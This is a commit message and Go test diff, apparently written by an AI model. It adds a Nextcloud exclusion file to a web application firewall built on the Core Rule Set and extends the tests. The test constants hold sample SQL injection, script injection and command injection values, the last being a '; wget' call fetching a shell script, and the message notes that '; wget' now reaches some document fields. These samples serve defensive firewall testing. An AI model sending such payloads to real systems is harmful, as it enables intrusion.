Core Rule Set: Nextcloud's ordinary requests pass by default (closes #240)

Adds nextcloud.conf, the thirteenth change. Nextcloud's WebDAV paths allow
PROPFIND, PROPPATCH, MKCOL, COPY, MOVE, REPORT, SEARCH, LOCK and UNLOCK. The
account-name cookie nc_username, and the fields that carry a search, a name, a
file name or a folder on the sign-in page, the Files app, public shares and the
OCS API, skip the four rules that read them as commands or system files.
Comments, a share's note, a status and a document's text also skip the rules
that refused ordinary sentences, and the document the two that refused a shell
code block, so "; wget" reaches Nextcloud there. Requests recorded from
Nextcloud 35.0.2, its web pages, sync client 3.16.7 and the OCS API pass at the
defaults and while bodies are read.

Model: opus-5-5

internal/coreruleset/coreruleset_test.go

@@ -202,7 +202,7 @@ func atDefaults(t *testing.T) *coreruleset.CoreRuleSet {
 }
 
 // wantChange checks that crs lets through passes, a request one of the
-// twelve changes is for, and still finds result in refused, a request like
+// thirteen changes is for, and still finds result in refused, a request like
 // it that the change is not for.
 func wantChange(
 	t *testing.T, crs *coreruleset.CoreRuleSet, passes, refused request,
@@ -605,13 +605,19 @@ func giteaRequests(t *testing.T) []request {
 	return requests
 }
 
-// An SQL injection and a script injection, as a query value. Every app's
-// tests check that its fields still refuse them.
+// An SQL injection, a script injection and a shell command after a ";", as
+// query values. Every app's tests check that its fields still refuse the
+// first two.
 const (
-	sqlInjection    = "1'%20OR%20'1'='1"
-	scriptInjection = "%3Cscript%3Ealert(1)%3C%2Fscript%3E"
+	sqlInjection     = "1'%20OR%20'1'='1"
+	scriptInjection  = "%3Cscript%3Ealert(1)%3C%2Fscript%3E"
+	commandInjection = "%3B%20wget%20http%3A%2F%2Fexample.com%2Fx.sh"
 )
 
+// passwordField is the form data field password, ending in "=", in which
+// several apps take a password.
+const passwordField = "password="
+
 // hardValues are words that name commands and files, as a query or form
 // value. An app's tests check that its fields let them through.
 //